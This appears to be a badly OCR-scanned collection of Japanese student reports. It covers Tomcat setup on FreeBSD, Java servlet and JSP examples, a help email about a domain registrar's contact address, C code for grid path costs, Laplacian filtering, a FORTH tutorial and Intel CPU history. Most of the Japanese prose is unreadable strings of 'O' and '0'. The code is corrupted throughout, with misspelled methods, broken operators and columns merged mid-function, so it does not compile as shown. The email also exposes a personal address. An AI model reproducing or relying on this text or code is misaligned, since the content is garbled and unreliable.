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# cd /usr/ports/java/jakarta-tomcat
# make install
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O000O0Yecshre 0O00O000O0O0OOOOOOOO

set path = ($path /usr/local/jdk1.1.8/bin)

setenv JAVA HOME /ustr/local/jdk1.1.8

setenv CLASSPATH .:/usr/local/jdk1.1.8/lib/classes.zip:\
lusr/local/tomcat/lib/servlet.jar

0 00O O source ~/.cshrc Jd00O0O0ObO00000oooboo0O0Tomecat D ooooO
0 O O O d /usr/localletc/rc.d/tomcat.sh start 0 0O O d /usr/locall/etc/rc.d/
tomcat.sh start oooooo
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import java.io.*;

import java.util.*;

import javax.servlet.*;
import javax.servlet.http.*;

public class randstat extends HttpServlet {
private static final int PHRASE_NUM = 20;
private static final String PHRASE_DATA =
"/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/data/";

1JDK1.1.80000000000JDK1.2.20 JDK1.3.100000000000000000000000000000
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// 0000000000000000O000D0DO000D0O0OO0

public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {

response.setContentType("text/html; charset=EUC-JP");
// 0000000000000000 HTMLOOO
PrintWriter out = response.getWriter();
// 000000
String docType =

"<IDOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional/EN\">\n";
out.printin(docType + "<HTML>\n" +

"<HEAD><TITLE>RANDOM STATEMENT</TITLE></HEAD>\n" +

"<BODY>\n" + makeSentence() + "</BODY></HTML>");
// 0000000000 HTMLOOOOOOOO

public String makeSentence() {
String sentence = new String();
String fileName = new String();
Random random = new Random(System.currentTimeMillis());
// 00000000O0oooO0
Vector phrase = new Vector();

for(int i=1;i<=PHRASE_NUM;i++) {
int index;
fileName = PHRASE_DATA + Integer.toString(i);
// 0000000000O0O00O0O0O0O0O0 1 0 PHRASE_NUM
try {
BufferedReader inStream =
new BufferedReader(new FileReader(fileName));
// DooOoOoOooooo
while(inStream.ready())
phrase.addElement(inStream.readLine());
// ODOoOoooooo
index = random.nextint();
index %= phrase.size();
index *= (index<0) ? -1 : 1;
// DO000O0O00o0oooo
sentence += (String)phrase.elementAt(index);
// 0Do0O0000O0OoOoO0OoOooooOoOoo
phrase.removeAllElements();
// 0Do00O0000ooOooooo
inStream.close();

catch(IOException err) {
sentence = "Error occured!";
}
}

sentence += "\n";
random = null;
phrase = null;
return sentence;

OO0 ServleOOO0O0OOODODDODOOOODOOOODOOOOODOOOODODOODOOOOODOOO
000000000000 00000000O000000000000000OO0O randstat.java O
O0Javad 00 0000000000000 O0O0O0O0O0O000000O0O0OOOOOOODOOODD
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<FORMI OO ACTIONOOOODOOOOOServletDODOOOODOO0OOOODOO URL http://
0000 /servlet/servlethame 00000000000 000000000Servletd 00O
O0000D000O<INPUT>000000O00O0D00O0

randstat2.html
4 N

<HTML>
<HEAD><TITLE>RANDOM STATEMENT with JSP</TITLE></HEAD>
<BODY>
<CENTER>
<BR><BR><FONT SIZE= "+1"><b>RANDOM STATEMENT</B></FONT><BR>
<FORM ACTION = "/servlet/randstat2"><BR>
goooooooooooa

<INPUT TYPE = "text" NAME = "yourName">
<INPUT TYPE = "submit" VALUE = " O0!">
</FORM>

</CENTER>
</BODY>
</HTML>
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gopooJsPO0OdDoDOoOODOODOODOODOOoOODOOoODoOoOOoODoOoOoOnO HTMLOODOO
JooooOgodSenvetD0O00OO00OO0ODOOOO

<% out.printin(request.getAttribute("myResponse").toString()); %>
oooooooo3;oo

ooooodoo HTMLOODOOOODOODOOOODODOODOoDOoOooOOooOo HTMLOODOO
g00Do0ooodosSenvetD00DO0O0O00D0O0ODOO0OO0OOO0ODOODOOODODOOOOO
goo

O00OO0CServetD DOOOO0O0ODOO0O0OO0OOO0ODOOOOOOODOOOODOOODOOOOOOODO
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e randstat2.jsp ~

<%@ page contentType="text/html" %>
<HTML>
<HEAD><TITLE>RANDOM STATEMENT with JSP: output</TITLE></HEAD>
<BODY>
<CENTER><BR><BR>
<FONT SIZE = "+1"><B>Generated sentence is<br><br>
<%
out.printin(request.getAttribute("myResponse").toString());
%>
</B></FONT><BR><BR>
<A HREF="/randstat2.html">back</A>
</CENTER>
</BODY>
</HTML>

J

OD0000 SevletD 0000000000000 O0OOOOODODODODOOOOODODODOOOOO
oooHTMLOODOOO00DOOO00DOOOO0O0DOOOO000O0O0O0
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randstat2.java
~ : N

import java.io.*;

import java.util.*;

import javax.servlet.*;
import javax.servlet.http.*;

public class randstat2 extends HttpServiet {
public static final int PHRASE_NUM = 20;
public static final String PHRASE_DATA =
"lusr/local/tomcat/webapps/ROOT/WEB-INF/classes/data/";
public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html; charset=EUC-JP");
// 00000 HTMLOOOOOOOO EUC
String sentence = request.getParameter("yourName") + " oooooooon
/I request.getParameter(" 000" OOoOoOoUoooOoOoOoOoOoooooooo
sentence += makeSentence()
//l 00000000 sentence OO0
request.setAttribute("myResponse”, sentence);
/I 00 myResponse 00000000 O0O0O sentence OOOOOOOOO
getServletConfig().getServletContext().
getRequestDispatcher("/randstat2.jsp").forward(request, response);
Il Servlet OO0 request O0OServlet OO0 response O /randstat2.jsp ooo

}

public String makeSentence() {
goooooooooogo

}
}
N J
0000000000 0000 randstat2.java gooboobobooooooooao
randstat2.class O /usr/local/tomcat/webapps/ROOT/WEB-INF/classes oono
000000 randstat2.html O randstat2.jsp O O /usr/local/tomcat/webapps/

ROOTUOODOOUOOODOOOODOOOOOOOODOODOOOO http://127.0.0.1:8080/
randstat2.html ooooooooooooo
00d0000o0000oooodU00oo0odU0o0ooo000oo0oo0o0UgogJbKO Tomeatd
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Hello.

| am really confused and in trouble, so please help me...

The other day, I've registered a domain name otsu-city.com
and | thought everything was alright. but | found | made a
big mistake.

Well, | have a valid e-mail address, ohmisan@mx.cable-net.ne.jp,
but when | registered, I've done the contact e-mail address
was ohmisan@otsu-city.com, and you know this is an invalid
e-mail address at this time. (unfortunately, | chose
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dnsl.domainbank.net and dns2.domainbank.net as the primary
and the secondary name server.)

So, when | log in at http://www.domainbank.com/ and even if

| want to change DNS RECORD and CONTACT RECORD and | logged
in and clicked [DOMAIN MANAGER] -> [MODIFY DNS RECORD] or
[MODIFY CONTACT RECORD].. and | went to Modify page, it

says

This change must be confirmed by email. Confirmation will
be sent to the following email address:

ohmisan@otsu-city.com

| want to change this e-mail address to a valid one. What
should i do?? :~(

Anyway, | have changed [PROFILE MANAGER]'s stuff, so on
[DOMAIN MANAGER]->[ACCOUNT INFORMATION], it shows valid
e-mail address.

But | still have a problem...

Thank you very much. | expect a suitable advice.
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Domain Name:
Print

Registrant (Owner):
Print

Current Administrative
Contact E-Mail Address:
Print

New Administrative
Contact E-Mail Address:
Print

1. The undersigned hereby directs and authorizes Domain
Bank to modify the record associated with the Domain
Name listed above by changing the the e-mail address
for the Administrative Contact from the current address
listed above to the new address listed above.

2. Only the registrant (owner) of the Domain Name
registration or the Administrative Contact for the
Domain Name as reflected in the whois database on
the date hereof may initiate a request to change
the e-mail address of the Administrative Contact for
the Domain Name. The undersigned hereby represents
and warrants that he/she has the full and complete
authority to initiate the modification requested
hereby. Domain Bank, in its discretion, may require
further documentation with respect to the foregoing
representation.

THE UNDERSIGNED IS THE (CHECK ONE)

Registrant (Owner) of the Domain Name

Current Administrative Contact for the Domain
Name
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Signature:

Title:

Print Name:

E-Mail Address:

Phone Number:

Date:

Notary

COUNTY OF:

STATE OF:

The foregoing document was signed before me by

(name of person being witnessed)
on this date.

Notary’'s Name (printed):

Notary’s Signature:

Date of Notarization:

My Commission Expires:
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Call
=

north - GO
zouth - COME
gaszt 1 GO
west 1 COME

cost : 5
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#define MAX . WEIGHT (50000)
#define COME (0)
#define GO (1)
#define SOUTHEAST (0)
#define SOUTHWEST (1)
#define NORTHWEST (2)
#define NORTHEAST (3)
typedef struct cell {
int north;
int south;
int east;
int west;
unsigned int cost;
} Cell;
typedef struct point {
int x;
int y;
} Point;
typedef struct parameter {
int *map;
Point max - map;
Point source;
} Parameter;
int north(Point* point, int max -x){
return ((point- >y - 1) * max . x) + point-  >X;

int south(Point* point, int max -x{
return ((point- >y + 1) * max - x) + point-  >X;

int east(Point* point, int max -x{
return (point- >y * max. X) + point-  >Xx + 1;

int west(Point* point, int max -x{
return (point- >y * max. x) + point- >x - 1;

int here(Point* point, int max -x){
return (point- >y * max. x) + point-  >Xx;

int from _ north(Cell result], Parameter* parame-
ter, Point* source)
return (result + north(source, parameter- >max. map.x))- >cost +
*(parameter- ~ >map + (source- >y * parameter- >max. map.x)
+ source- >X);
}
int from _ south(Cell result[], Parameter* parame-
ter, Point* source)
return (result + south(source, parameter- >max. map.x))- >cost +
*(parameter- ~ >map + (source- >y * parameter- >max. map.x)
+ source- >X);
}
int from _ east(Cell result]], Parameter* parame-
ter, Point* source)
return (result + east(source, parameter- >max. map.x))- >cost +
*(parameter-  >map + (source- >y * parameter- >max. map.x)
+ source- >X);
¥
int from _ west(Cell result]], Parameter* parame-
ter, Point* source)
return (result + west(source, parameter- >max. map.x))- >cost +
*(parameter-  >map + (source- >y * parameter- >max. map.x)
+ source- >X);
}
int cost(Cell result[], Parameter* parameter, Point* source)
return (result + (source- >y * parameter- >max. map.x) + source-
>X)- >cost;
}

int set _ north(Cell result[], Parameter* parame-
ter, Point* source)
int here _ p;
int north  _ p;
int now . cost;
int new . cost;
int r
ret = 0;
if(source- >x >= 0 && source- >x < parameter- >max. map.x &&
source- >y >= 0 && source- >y < parameter- >max. map.y) {
here _ p = here(source, parameter- >max. map.x);
north _ p = north(source, parameter- >max. map.x);
now. cost = cost(result, parameter, source);
new. cost = from _ north(result, parameter, source);
if(source- >y > 0){
if(new - cost < now. cost) {

(result + here . p)- >north = COME;
(result + north - p)- >south = GO;
if(source- >y < parameter- >max. map.y - 1)

{
(result + south(source, parameter- >max. map.x))-

>north = COME;
)3

if(source- >x < parameter- >max. mapx - 1) {
(result + east(source, parameter- >max. map.x))-
>west = COME;

if(source- >x > 0) {
(result + west(source, parameter-
>east = COME;

>max. map.x))-

(result + here - p)- >cost = new _ cost;
ret++;
P
else if(new _ cost == now _ cost &&
((result + here - p)- >north
(result + north - p)- >south
(result + here . p)- >north = COME;
(result + north - p)- >south = GO;
ret++;

i

OO0 sLcGooooooobooo —0o0 oo

}
return ret;

int set _ south(Cell result]], Parameter* parame-
ter, Point* source) {
int here _ p;
int south _ p;
int now _ cost;
int new _ cost;
int ret;
ret = 0;
if(source-  >x >= 0 && source- >x < parameter- >max. map.x &&
source- >y >= 0 && source- >y < parameter- >max. map.y) {
here . p = here(source, parameter- >max. map.x);
south _ p = south(source, parameter- >max. map.x);
now. cost = cost(result, parameter, source);
new. cost = from _ south(result, parameter, source);
if(source- >y < parameter- >max. map.y - 1)
if(new _ cost < now. cost)
(result + here  _ p)- >south = COME;
(result + south - p)- >north = GO;
if(source- >y > 0){
(result + north(source, parameter-
OME;

Ssouth = © >max. map.x))-
south =
}

if(source- >x < parameter- >max. map.x - 1)
(result + east(source, parameter- >max. map.x))-
>west = COME;
}

if(source- >X
(result + west(source, parameter- >max. map.x))-
>east = COME;
(result + here - p)- >cost = new - cost;
ret++;
else if(new _ cost == now _ cost &&
((result + here - p)- >south == GO ||
(result + south - p)- >north == COME)) {

(result + here  _ p)- >south = COME;

(result + south - p)- >north = GO;

ret++;

3
}
¥
return ret;
int set _ east(Cell result]], Parameter* parameter, Point* source) {

int here _ p;
int east . p;
int now _ cost;
int new . cost;
int ret;
ret = 0;
if(source- >x >= 0 && source- >x < parameter- >max. map.x &&

source- >y >= 0 && source- >y < parameter- >max. mapy) {
here . p = here(source, parameter- H

east . p = east(source, parameter-
now. cost = cost(result, parameter, source);

new. cost = from _ east(result, parameter, source);
if(source- >x < parameter- >max. mapy - 1) {

if(new _ cost < now. cost) {
(result + here  _ p)- >east= COME;
(result + east - p)- >west = GO;

if(source- >y < parameter- >max. map.y - 1) {
(result + south(source, parameter- >max. map.x))-
>north = COME;

if(source- >y >=0){
(result + north(source, parameter-
>south = COME;

>max. map.x))-

if(source-  >x > 0) {
(result + west(source, parameter-
>east = COME;

>max. map.x))-

(result + here - p)- >cost = new . cost;
ret++;
b
else if(new _ cost == now _ cost &&
((result + here - p)- >east == GO ||
(result + east - p)- >west COME)) {
(result + here  _ p)- >east = COME;
(result + east - p)- >west = GO;
ret++;

}
}

¥
return ret;

int set _ west(Cell result]], Parameter* parameter, Point* source)
int here _ p;
int west _ p;
int now _ cost;
int new _ cost;
int ret;
ret = 0;
if(source- >x >= 0 && source- >x < parameter- >max. map.x &&
source- >y >= 0 && source- >y < parameter- >max. mapy) {
here . p = here(source, parameter- >max. map.x);
west . p = west(source, parameter- >max. map.x);
now. cost = cost(result, parameter, source);
new. cost = from _ west(result, parameter, source);
if(source- >x > 0) {
if(new _ cost < now. cost) {
(result + here  _ p)- >west = COME;
(result + west _ p)- >east = GO;
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if(source- >y < parameter- >max. mapy - 1) {
(result + south(source, parameter- >max. map.x))-
>north = COME;
; {
if(source- >x < parameter- >max. mapx - 1) { flag += set(result, parameter, &temp);
(result + east(source, parameter- >max. map.x))- temp.y += inc.y;
>west = ;:OME; temp.x += inc.x;
if(source- >x > 0) { }
(result + north(source, parameter- >max. map.x))- }
>south = COME; if(flag == 0) {
(result + here  _ p)- >cost = new . cost; break;
ret++;
1 }
else if(new . cost == now . cost &&
((result + here - p)- >west == GO || int main() {
(result + west . p)- >east == COME)) { int map[25] = {
(result + here  _ p)- >west = COME; 3,3 35 1,
(result + west _ p)- >east = GO; 1,3 35,1,
ret++; 2,2 25 3
} 1,2 26 2
} 2,4 4 4 4

Iy
Cell result[25];

}
return ret; Parameter parameter;

‘arameter.map = map;
int set(Cell result[], Parameter* parameter, Point* source) { parameter.max . map.x = 5;
int temp; parameter.max - map.y = 5;
int ret; parameter.source.x = 0;
ret parameter.source.y = 4;
ret set . north(result, parameter, source); movement(result, &parameter);

ret set . south(result, parameter, source);
ret set _ east(result, parameter, source);
ret += set . west(result, parameter, source);
return ret;

int abs(int x)
ifx > 0){
return x;

else {
return (-x);

}
int max . num(Point* max . map, Point* source) {

int temp;

temp = abs(0 - source- >x) + abs(0 - source- >y);

if(temp < (abs(0 - source- >x) + abs(max . map->y - 1 - source-
>y) |

temp = abs(0 - source- >x) + abs(max . map->y - source- >y);

if(temp < (abs(max - map->x - 1 - source- >x) + abs(0 - source-
>Y))
temp = abs(max . map->x - 1 - source- >x) + abs(0 - source-
>y

if(temp < (abs(max . map->x - 1 - source- >X)
+ abs(max - map->y - 1 - source- >y)) {
temp = abs(max . map->x - source- >X) + abs(max . map->y - 1 -
source-  >Y);

return temp;

void init - result(Cell result]], Point* max - map, Point* source) {
int i, j;
for(i = 0; i < max. map->y; i++) {
forG = 0; j < max. map->x; j++) {
(result + (i * max - map->x) + j)- >cost = MAX. WEIGHT,;
(result + (i * max - map->x) + |- >north = COME;
(result + (i * max - map->x) + j)- >south = COME;
(result + (i * max - map->x) + j)- >east = COME;
(result + (i * max - map->x) + j)- >west = COME;
¥
(result + (source- >y * max. map->X) + source- >X)- >cost = 0;
void set _ inc(int j, Point* inc) {
switch()  {
case SOUTHEAST :
inc- >x = 1;
inc- >y = 1;
break;
case SOUTHWEST :
inc- >x = -1;
inc- >y = 1;
break;
case NORTHWEST :
inc- >x = -1;
inc- >y = -1;

break;
case NORTHEAST :
inc- >x = 1;

inc- >y =
break;
}
void movement(Cell resultf], Parameter* parameter) {
int num;
int i, j, k;
int flag;
Point inc;
Point temp;
init . result(result, &parameter- >max. map, &parameter- >source);
num = max num(&parameter- >max. map, &parameter- >>source);
while()  {
for(i = 0; i < num; i++) {
temp.y = parameter- >sourcey - i - 1;

temp.x = parameter- >source.x;

51



52 Vil DO SLGO0O0000000D00 —00 004

VILS 0000

gboboobooboboooboobooboobooboooboobooboobooooon
gbooooboboooooboooobobooon

O “movement’0 0 000D0C VIAOODOOOOOOOOODOOODOOODOOODOO
goviiooooooooooooooooooooboooooooooooooboooooDo
gbooooboooboooboooo

gboobooooooooooboobooobooobooboobooobooobooboon
gbooooooobooboooboboobobobobooboboobooobooboobboobboobobboODbo
goooobooobooooboooboooooboobooboooOoobOOoobDOooobDOoobbOODbo
gboooobooboobobooooboooobooooobooboobOoboooogo



53

VIl O0ooood

992300720 000000 30000 00

goad

goboobobooobboooobooobbooobooooboooboooboooboooooooooobooo
obbOooboobooooooboboobbooboooboobooboobooboOoobooOooon
oono

ooboooobooOooobooobooboobooboooboooooobooboboobooooon
gooobooogobooobooobooboooboooboooooboo

VIIILT OO000bobogoboogod

00000000000020000Laplacial 000000000000000000000
00000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000
000000000000000000000000000000000000000

00000000 10000gradieni00000000000000000 (4,)000000
DyO0O0D100000000 £(,5)0/f,,;) 0000000000000

(i, 5) fl+1,5)+ f(i,5)

fy(is3) fG5+1) = f(i,9)
0000000000 (4,7) 000000 A0D0DOO f£(,/))000 A0D0DDOOOOOCO B
00000000000000000ADOOO0BOODOOD (4050000000100

0000000000000
000200000x000y000 20000 fuulz,y)d fy(z,y) 000000000000

sz(z,y) = fzm(xay) + fyy(m7y)

20000000000000D0000DOO0O00 200000100000 000O0DO0O0OODOO
coooopoooooloooooogoOoooooooooooooooooOoo2p0o0000O0oO
gbooobooboobooboobgoon



54 vil 000000 —00 00

00 (4,j) 00000 AODOOOODOOAQOAQOOOODOOOUODOOOOOOADQOOOO
00000 BOAOOOOOODOOODOOD f,(A-D)Of,(B-—ADOO0D0O0DOOOOO
gboooao

fz(A_D) = f(Z7j)_f(Z_17.7)
fy(B—A4) fi+1,7) = f(i,5)

000000000 ACOOOO0O0OOOOOOO0O00O0O0D 1000000000

00 f.(A-B)O f,(A-B)000000000000000000O00000AODOOO
00200000000000000y000000000x000y0002000 f.(i,5) 0
fuw(,7/)000000000

oo0poo0o0o0opooo200000D00000DO

v2f<l,j) = fww(zaj) + fyy(lvj)
fl, 7 =1+ fli—1,7) —4f@,5) + fG@+1,5) + f(i,7+1)

00000 g(i,y)0OOODOO 200000000000000000O00OOOO

VIIlL2 O00000000000000

gbbooboooooboooboobooboobooobooobooooboOoooboooobobooboon
gbooboooboooobooobooooboooobooooboooobooOooooOoobooOooboOoboOoOonn
goooooboil1iooooooboogooboobooooboooboobooobooobD 1000000
goooooobooooooobooobooooboooooooooboobDOoobDOoODbOoODO
gbobooobooooboooooooboboboooboooboooboooboooboobooooon
oboooooooboooboboobobooboobooobOooooboobobooboOobooOobOoooDn
gooooooooooooo0ooooooo0oooooogooooogogoooD 10000
gboboooooobooobboooooooobooobobooooooooooooooboobooDnon
goo



Vill.2,. DO0000O0O0OO0O0O0OO0O000 55

0000 f(4,/)00000000000 F(u,0) 0000000000000 H(u,0)00000
0000000000000000000 Guy) 0000000000

G(u,v) = F(u,v)H (u,v)

O0000Gu,v) 0000000000000 0000O00O000O0 g(4,7)000000000
gboogbgoobobboobooboobooobobooobo



56

IX FORTH OOOOOOOO

9923073 000000 300 00 00

IX.1 FORTH OODO

FORTHOOOO FORTHO OO OOOOOODOOOOODOOOOOOOoOoooooooDoon
ooooooFORTHOOOODOOOOOODODOOOOOODOOOODOOOOOODOOOD
OFourth OOOOOOOOOFORTHOOOOOOOODODOOODOODODODOOODODOOOOOO
goooooooooobobooboobboooooooooboboobOoooDoOoobOoODbOoUDo
oooooooooooboooooooooDboOOoOO0o0oOoOooorFORTHOOOOOOOOOO
obooo

IX.2 0000000

obobooobooOooobOooobooobooboboooooooooboooooooooOonoon
000000o0oooooO0000ooooOo00ooOoOo LFO(ODODOOOD) DOOOOOO
gooooooooooooboobooboooobooooooooboobooOOobOoODbOoODo
gbobooboobooobooboooooobooboobooboooboooooooOooboon
goooooooooOooooooooOoooooDOo uFOo OooboooboDObOOoOoOooooo
obooo

IX.3 000000 O0O0Oon

gooogboooooobobobobobobobobobobuobboubobuoboboo
O00000000000000CoO Pascal OO0OOOOOOOOOOOOOOOOOOOOOO
000o0U00o0o0o0o0ooU0Oo00o0ooOoUooUo0oUoOoooooooo @ + 2) * 3
000oo00d0oO0ooo0ooooUol 2 + 3 * 000000000000 0OOOUOOOOOOO
gogobobooooboooobooobbboooobbobooobbbooobobbooobo
00o00oo0o00ooOo0o0ooO00oOoOo0D0oOoOO0o0DOoOoOOoUOOOoOOooOoOOoOoO

0000000000000 00000000U0000U00000U0O00OFORTHOOOOO
OO MINDOOODOODOODOOODODODOODOOODOOODOOODODOODOODOOODO0O0OD0OO
OooOoooooooooo (http://www.scripts-lab.co.jp/) 0 WebOOOO UNIXO



IX.4. FORTHO OO 57

OO GPL2O00O00ODOOOOODOODO

IX.4 FORTH OOO

go0oDo0oO00 FORTHODOOOODOOFORTHOOODOOOODOOOOOODOOOO

oobooooooobooboobbooboooobooboooboooooboooboobooboooooon
OO0OO00OFORTHOOOOOOOOOOOODDOOOOOOOUOO0OUOUOODODODOOOOOOoooO
OoobDOo0oO0OorFORTHOOOOOOOOOOOOODODOOOODOOOOOOOOOODODDOO
goooooooooooogoboobooooooooogogooggooo™ boooog bo
goog "oboooooboooobbooooboboooooboooboooo

O goog
:FOO 1 2 + ; 9
: SQUARE DUP * ;
FOO SQUARE .

gooo™+" goooooo0oooo0oobo0o0boOoOoDbboOoooD 2000o0O0O0OOODO
ooobooooooooooooobooobooo™ DoboobooooboOoboooboooo
oooooogoz200000000000D00000O0DODODOOOOODOOOOOO"™DUP"ODO
ocooooooooooooooooooobooooooooo T booooooboooooo
bobobooooobgbooboobobooboboboobobooboboboboa
gbogboooboobooboboboboobooboobooboo

IX.5 FORTHOOOOO

0000 FORTHIOOOOODO-LOOP, IF-THEN, BEGIN-UNTIL 0O00000O0O0C0OO
0000000000000000000000DO-LOOPI000000000IF-THEN 00O
OOO0BEGIN-UNTIL 000000000000000000000
000 DO-LOOPO DD OODDODDOOODDO][O0O0O0]DO[0O00O]( OO0
0] 4)LOOP" 00 O0O0O0D00O0O0(00000O000O0O)O0

O oooo
10 0 DO I . LOOP 0123456789

ocoooooooOoOobOObo 1000 100000O0OOODOOOYN DOOOOOODOOOOO
oboooboooobooboooooboooooon

OOOIF-THEN OO0O0O0O00O0O0' 0OO0] IF[ 0O00000O0O000] (ELSE [ 0000



58 IX FORTHODOD —O0O OO

O0D0Q0OCOO])THEN' DDODODODOOOoOoo

O
. zero? 0 =
IF M oyes”
ELSE ." not zero"
THEN ;
zero?
ogooo
doooooooooooon -> yes

ooooooOooooooDOboOO-> not zero

go0o0o0ooO00oooooUooooooboOoUUoDbDOYes DOOODOOOODOOOOD
O0O00O00OO"ot zero" OOO0OO0OOO(OOO0COOCOOOOOOOOOOOODOOOOO
ooooQoOoOooooOoOoOoOoOoOoOOoOOODOOODODODODDOD)

OOO0OBEGIN-UNTIL OOOOOO"BEGIN [ 00D [0O0O0O UNTIL"ODODOOODOOOOO
ggbooobooboooobobooobooboooooboooo

O
: COUNT
BEGIN DUP . 1 + DUP 10 = UNTIL ;
0 COUNT
oooo
0123456789
IX.6 OO0

ooooo FORTHIOOODODDOODOOOOOOOODOOOOOOOOOODOODODODDDDO
FORTHOOOOUOUOUOOOOOOOOOOFORTHOOODODOOOOOOO Charles Moore 0O
gooooooooooooooobooboooboobDoobDoobDoooDOoooDOoooOon
oooboooooooooooooooooooboODoOoOOOOOOOrFORTHOOODODOODOOO
ubboobOoooooboooboocobooooboooobobOoobOoobOoooO0ooboOoobOooDnn
gboooooooooooobooooboobooboboobooboobooobbooboOooDbboOoDo
gobooooooboooooboooobooboooooboboboooOooboooo

O00000o0oooooooooooooooowebDOOOOoooOooOOOOOODO



IX.6. 00O 59

ooboobOooooboooooboobooboobOoobOoobooooboooboooooon
ooooboog

o000 FORTHOODOOOOOOODOOOOOODODOOOOODODOOOOOODODOO
Oo0o00ODO ODoooOoOoooooDboOooDDOO FORTHZODOODOOOOOOOODOOOO
gooobooogobobooboooobooogoo

‘Forth OO ODOOOOOODOO”



60

X oooouooooooooan

002200331 00000000 200 00 00

gbooobooooooooobooooooooboooooooboobooboobooboOooD
gooboodooboobooooboobooobooobooboooboooobooooboooboooonn
gbboobooooooooooboooboooooooooooobooboooboooboonn
gbobooooooooooooooboboooooobooobooooobobooooboooboooooDo

oooog oboooboooooboooobooobooooboboooboboooooboooon
gbobooooboooooboooooobooboobooobooboooooooooooooon
gboobooboooobooooboobooooobooonoo

oooog oobooboooooooobooooboooooooooooobooooboooon
gbobooobooooobooboboboboooooooobobobobooDoDobDOobooon
gbooooooboboboooooboboooboobobobooooooobOoboon
good

gobooogo gboooooooooboboboboboooooooooobobooobooo
gboobooboooobobooooboboooooboooobooboooobobn
gboooooomoooboobobooooobobooooooboobooooOooboobn
obooooooboooobooboooobobooobooboooobooboooonog

goo gbboooboooomoooboooboobooboobooooobooobooooboo
gbooobooboboooooboobooboooobobooooobobooooOoboon
oboooooboboooooboooobobooooobobobooboOoboooooboobn
ooo

WindowsO MS-DOSO O command.cond DOUNIX OOOBOODODODCOOOOOOOOO
goooo

ooooon obobooooobOoboboooooooboboboooooboooboobooooo
gboooooboooooboobooooboboooooboobooboobooooDbobo
gbooobooooboooobooooooooobooobooboboo@ooooooboonn
gboobooboooobooboooobobooooobooboobOOoboooobobn
obooooOobooooobooooobooboooooboooobobooooboOoobooon



61

oono obobooboboboboooboooooooooooooooooboOobOooboon
gooooooobooooooooboboobooboooboooboobbobboooobooooDoo
gbooboobooobooboboooogon

oooooo booooooboboobobooooboobooooooboobobooooon
gboboooobooboooogoboboooboobooboooboboooobooobobooooooDo
gboooobobooooobobooooboobooooboOoboooooboboooooono
gboboooboboooooboboooooboooooobooobooboOobooooono
gboboooooboobooobooboooooboboooboOoboobobooboOoboooooono
gbooooboooooooboooobooboooobobooobobbooooboooo



62

XI cPUOOO

00230031 000000 200 00 OO

XLl CPUDOO

CPUDODO Central Processing Unfi D D0 000000000 D0O0OO0OOOOOOOOOOO
MPU(Micro Processing Unitp 0O 00000 CPUOOUODOOOOODOODOOOPCOOOOO
00o000o0ooooooooOo0OD (booOo)ooOoUoooooDooOoOoOoOoooo(@ooo)o
ooooo

Xl.2 CcpPUOOO

cPhuOOOOOUO0OODOOOUOODOODOOOUOODDOOOOODDOOOODODOOOO
gboboooooooooooooooooboooooooboooboobooboobooooono
oo00ooooooooooNODOcCcPUOOOOOONOOOOOOOOODDDODDOOODOOO
gboooboooooooboboooboobooboooboboooboboobbooooobooobooobobooDo
O00o0ooooO0O0O ALVOODODODODO0DO0DO0O00OOOOOODODDODOODOOO0O0OO0O0OOO ALU O
gboooooooboooobobooobobooobobooobooboobooooboobooonoo
gboooobooooobOobooooboboooobooboooobobooog

XI.3 CPULODO
000 CPUODOOODOODODODODDOOODODODDDD CPUDOOODODND

e PGA(PIn Grid Array)d 80286, i486

SPGA(Staggered Pin Grid Array) Cyrix, M O
PPGA(Plastic Pin Grid Array)) MMX Pentium

SECC(Single Edge Contact Cartriddé)Pentium, Athlon

SEPP(Single Edge Processor Packagejeleron

SEPP2(Single Edge Processor Packagé)entium



Xl.4. CpPUOOO 63

oobooooobboooooooooooooooboobooooooobooooooooooon
goooboooobooooooobooooobobooboooobooooobboooobboooDboon

Xl.4 CPUDOOO

000000000 IntelDO CPUODDODDODDDDOOO

0000 CPUD 1971000000 Intel40040 0000 4000 CPUDO 22500000000
ooooooo7ysMHzOOODOODOOOOODOODODOODOODOODODOODOOOODODOOOO
001972000 8000 CPUDO 8008119740 00 80800 0000 O DO O80800 60000000
O0O0o000O0g2MHzOOOOOOOOOOOO197500 8080000000 OOD197800O
16000 CPUODODO 808600 0ODOOOO80860 0 OO PC-980IN 00 OOOOOOODO CPU
OoOO0O0O0OOOOOOOO19790 00 808 OO ODOOOODODO 808800 0O OOPC/ATOO
OooooD i BMPCOOOODOOOO1982000 8086000 000ODO 80286000 00O OOO
O0CPUOODOOOODODODDOOODOOOOOIBMPC/ATOOODOOOODODO198500 32000
cPUODODO 803 I ODDO (DUDODOODODODOIU DI IOODDOOOOOO)YOO CPU
O WindowsOOOOOOOOOOOOODOO1980 000000 i486(80486] 000000 CPU
000000000000 0000O00000000DO0O0000001993000 Pentiumd OO
0000000 PentiumO DO 0005860 500000000 Pental 000000019950
OO0 PCOOUIOOOODOOOOO PentumPra 01997000000000000000 MMX
PentumD OOOOOOOO0O 199700 Pentumd DOOOOOOOPentumd O0O0O0 20000
ooboooobobooooooboboooboobooobooboooboboooboooobooon
00019980 000000 CelerondOPentiumd 00 2000000000000000000
0000000000 CcPUOOOL9990 0 PentumZ OO0 OOOOOOO CPUO Pentiumd O
SSE(Streaming SIMD Extensions) 0 0 0 000000000 O03DO0O0O0O0OOOCOOOOOOO
000000000000 0Oo20000000000 Pentium4 SSE20000000000O0O

obooboobooboobooooboboooboboooonbo



64

Xll OUoooooougoooood

00230042 000000 20000 00O

XlLo oood

0000000000000 000ddsStandardMLO ConcurrentCleadl D 0000000000
000000000000 00D00000000 SmaltalkDDODOOODOO0OD0DO0OO0ODOOODOOO
gddbooobooobuoobooboobooboobooobooboobUoobuoobo
gooboooooooooouobooooobooon

XllLl ODoooooooood

Xll.Li1.l 00OOoooon

gooooooboooooobooooobooooobobooobooooooobooooooooooo
obmoobooooboobooooboobooooDoOoooobOobDoboobobOoDOoDbUubo
gboooboobooobooboboobooboon
gbboobooooooooooooboboobooboobooboooboOoOooobooboon
gbooooboooboobooboooobboobbooboobooboooboobobOOoobbOoDbo
gooobooobooooobooooboooboobbooboooOobobOo0oboooDobLboODbo
gboboooboobooobobooboobooboooobooobooOoooooooooboobooDn
goooooooo *o0o"doo0ooooooooboooooo “oooo"ooooooobo
gboooboooobooooooooboooboooooobbooooooboooobooooooobobOoD
gbooboooobooboooooboboobooobobooooooboobOooobooobo
